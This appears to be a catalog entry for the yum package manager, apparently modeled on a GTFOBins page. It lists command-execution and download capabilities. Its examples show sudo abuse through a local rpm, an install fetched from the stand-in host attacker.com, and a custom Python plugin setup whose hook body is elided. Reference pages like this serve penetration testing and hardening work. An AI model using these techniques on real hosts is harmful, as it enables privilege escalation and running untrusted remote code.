package enabled community medium v1.0.0

yum

Yellowdog Updater Modified package manager; can execute arbitrary commands and spawn shells.

📋 Live Preview

yum

yum

Sandbox: execFile · Timeout: 30s

Capabilities

security.execution.command

network.transfer.download

Contract

Outputs

process.output

Command execution output

Side effects: process_spawn

Workflow Edges

Produces

process.output

Resource Profile

Resource	Value
CPU	low
Memory	16 MB
Network	none
Disk I/O	low

Examples

Execute arbitrary commands (sudo)

yum localinstall -y x-1.0-1.noarch.rpm

Download files (sudo)

yum install http://attacker.com/path/to/input-file.rpm

Leverage python capabilities

cat >/path/to/temp-dir/x<<EOF
[main]
plugins=1
pluginpath=/path/to/temp-dir/
pluginconfpath=/path/to/temp-dir/
EOF

cat >/path/to/temp-dir/y.conf<<EOF
[main]
enabled=1
EOF

cat >/path/to/temp-dir/y.py<<EOF
import yum
from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
requires_api_version='2.1'
def init_hook(conduit):
  ...
EOF

yum -c /path/to/temp-dir/x --enableplugin=y

Documentation

yum

yum is a command-line utility. Yellowdog Updater Modified package manager; can also execute arbitrary commands, download files Can also leverage capabilities from: python.

References

GTFOBins